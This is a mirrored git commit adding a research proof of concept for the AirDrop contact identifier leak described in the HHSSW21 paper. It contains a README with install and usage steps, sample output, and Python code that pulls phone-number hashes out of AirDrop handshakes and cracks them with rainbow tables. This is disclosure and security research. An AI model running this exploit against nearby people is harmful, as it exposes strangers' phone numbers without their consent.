mirror of
https://github.com/seemoo-lab/opendrop.git
synced 2026-09-14 15:16:11 -04:00
Add PoC for AirDrop's phone number leak
This commit is contained in:
@@ -0,0 +1,3 @@
|
||||
[submodule "rt_phone_numbers"]
|
||||
path = rt_phone_numbers
|
||||
url = https://github.com/contact-discovery/rt_phone_numbers.git
|
||||
@@ -0,0 +1,80 @@
|
||||
# PoC: AirDrop Phone Number Leak
|
||||
|
||||
This PoC demonstrates the contact identifier leakage in Apple AirDrop that was described in
|
||||
|
||||
* **[HHSSW21]** Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop** in _30th USENIX Security Symposium_. [Website](https://privatedrop.github.io). [Preprint](https://www.usenix.org/system/files/sec21fall-heinrich.pdf).
|
||||
|
||||
The paper also proposes a privacy-preserving drop-in replacement for Apple AirDrop.
|
||||
|
||||
**We notified Apple about this vulnerability on May 11, 2019. Until today, Apple has neither mitigated the issue nor informed us that they are planning to do so.
|
||||
This means that current Apple systems are still vulnerable (iOS 14.5 and macOS 11.3 as of May 5, 2021).**
|
||||
|
||||
## Installation
|
||||
|
||||
Run the following instructions on a Mac (tested with macOS 11.2.3).
|
||||
|
||||
1. Checkout the repository.
|
||||
|
||||
```bash
|
||||
git clone https://github.com/seemoo-lab/opendrop.git
|
||||
cd opendrop
|
||||
git checkout poc-phonenumber-leak
|
||||
git submodule update --init
|
||||
```
|
||||
|
||||
2. Install Python dependencies.
|
||||
|
||||
```bash
|
||||
pip3 install -r requirements.txt
|
||||
```
|
||||
|
||||
3. Build [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers).
|
||||
|
||||
```bash
|
||||
brew install libomp
|
||||
cd rt_phone_numbers
|
||||
make -f Makefile.macOS
|
||||
cd ..
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
Our PoC is able to exploit both vulnerabilities explained in [HHSSW21]. We provide usage instructions below.
|
||||
|
||||
**Disclaimer:** We omit precomputed rainbow tables generated with [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers)'s `rtgen` in this PoC.
|
||||
Consequently, you will see the following message when running this PoC without modification: _"Could not recover hashed phone number: No rainbow tables provided."_
|
||||
|
||||
### Contact Identifier Leakage of Sender (§3.3 in [HHSSW21])
|
||||
|
||||
Simply run the following and wait for someone in proximity to open the AirDrop sharing menu.
|
||||
|
||||
```bash
|
||||
python3 -m opendrop receive
|
||||
```
|
||||
|
||||
An example output would look like this:
|
||||
|
||||
```
|
||||
Announcing service: host opendrop, address fe80::c8b9:fbff:fee9:d544, port 8771
|
||||
Starting HTTPS server
|
||||
Nearby phone number: +49<...>
|
||||
```
|
||||
|
||||
### Contact Identifier Leakage of Receiver (§3.4 in [HHSSW21])
|
||||
|
||||
Exploiting this vulnerability requires the victim to have the attacker in their address book.
|
||||
In particular, the attacker needs to present a valid AirDrop certificate containing its contact identifiers to the victim.
|
||||
You can follow [these instructions](https://github.com/seemoo-lab/airdrop-keychain-extractor) to extract your current AirDrop certificate and use it with OpenDrop.
|
||||
This attack does not require any interaction on part of the victim. Simply run:
|
||||
|
||||
```bash
|
||||
python3 -m opendrop find
|
||||
```
|
||||
|
||||
An example output would look like this:
|
||||
|
||||
```
|
||||
Looking for receivers. Press Ctrl+C to stop ...
|
||||
Nearby phone number: +49<...>
|
||||
Found index 0 ID a019b536c38b name John Doe's iPhone
|
||||
```
|
||||
@@ -141,6 +141,11 @@ class AirDropClient:
|
||||
_, response_bytes = self.send_POST("/Discover", discover_plist_binary)
|
||||
response = plistlib.loads(response_bytes)
|
||||
|
||||
# Extract and lookup phone number hashes from validation record
|
||||
validation_record = response["ReceiverRecordData"]
|
||||
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
|
||||
AirDropUtil.lookup_phone_hashes(hashes)
|
||||
|
||||
# if name is returned, then receiver is discoverable
|
||||
return response.get("ReceiverComputerName")
|
||||
|
||||
|
||||
@@ -170,6 +170,12 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
|
||||
self.config, post_data, "receive_discover_request.plist"
|
||||
)
|
||||
|
||||
# Extract and lookup phone number hashes from validation record
|
||||
discover_request = plistlib.loads(post_data)
|
||||
validation_record = discover_request["SenderRecordData"]
|
||||
hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
|
||||
AirDropUtil.lookup_phone_hashes(hashes)
|
||||
|
||||
# sample media capabilities as recorded from macOS 10.13.3
|
||||
media_capabilities = {
|
||||
"Version": 1,
|
||||
|
||||
@@ -17,11 +17,15 @@ You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
"""
|
||||
|
||||
import glob
|
||||
import io
|
||||
import ipaddress
|
||||
import os
|
||||
import plistlib
|
||||
import subprocess
|
||||
|
||||
import ifaddr
|
||||
from ctypescrypto import cms
|
||||
from libarchive.entry import ArchiveEntry, new_archive_entry
|
||||
from libarchive.ffi import ( # pylint: disable=no-name-in-module
|
||||
ARCHIVE_EOF,
|
||||
@@ -168,6 +172,45 @@ class AirDropUtil:
|
||||
else: # assume bytes-like
|
||||
file.write(data)
|
||||
|
||||
@staticmethod
|
||||
def get_hashes_from_validation_record(validation_record):
|
||||
data = cms.CMS(validation_record, format="DER").data
|
||||
data = plistlib.loads(data.encode())
|
||||
phone_hashes = data["ValidatedPhoneHashes"]
|
||||
return phone_hashes
|
||||
|
||||
@staticmethod
|
||||
def lookup_phone_hashes(hashes):
|
||||
for hash_ in hashes:
|
||||
AirDropUtil.lookup_phone_hash(hash_)
|
||||
|
||||
@staticmethod
|
||||
def lookup_phone_hash(hash_):
|
||||
rcrack_dir = os.path.join(
|
||||
os.path.dirname(os.path.realpath(__file__)), "../rt_phone_numbers/bin"
|
||||
)
|
||||
rcrack_bin = os.path.join(rcrack_dir, "rcrack")
|
||||
rcrack_table = ""
|
||||
rcrack_tables = glob.glob(rcrack_table)
|
||||
|
||||
if len(rcrack_tables) == 0:
|
||||
print("Could not recover hashed phone number: No rainbow tables provided.")
|
||||
return
|
||||
|
||||
result = subprocess.run(
|
||||
[rcrack_bin] + rcrack_tables + ["-h", hash_],
|
||||
text=True,
|
||||
cwd=rcrack_dir,
|
||||
capture_output=True,
|
||||
check=True,
|
||||
)
|
||||
|
||||
for line in result.stdout.splitlines():
|
||||
if not line.startswith("plaintext of"):
|
||||
continue
|
||||
number = line.split("is")[1].strip()
|
||||
print(f"Nearby phone number: +{number}")
|
||||
|
||||
|
||||
class AbsArchiveWrite(ArchiveWrite):
|
||||
def add_abs_file(self, path, store_path):
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
Pillow
|
||||
ctypescrypto
|
||||
fleep
|
||||
ifaddr
|
||||
libarchive-c
|
||||
requests
|
||||
requests_toolbelt
|
||||
zeroconf>=0.24.2
|
||||
Submodule
+1
Submodule rt_phone_numbers added at b8986d1a20
Reference in New Issue
Block a user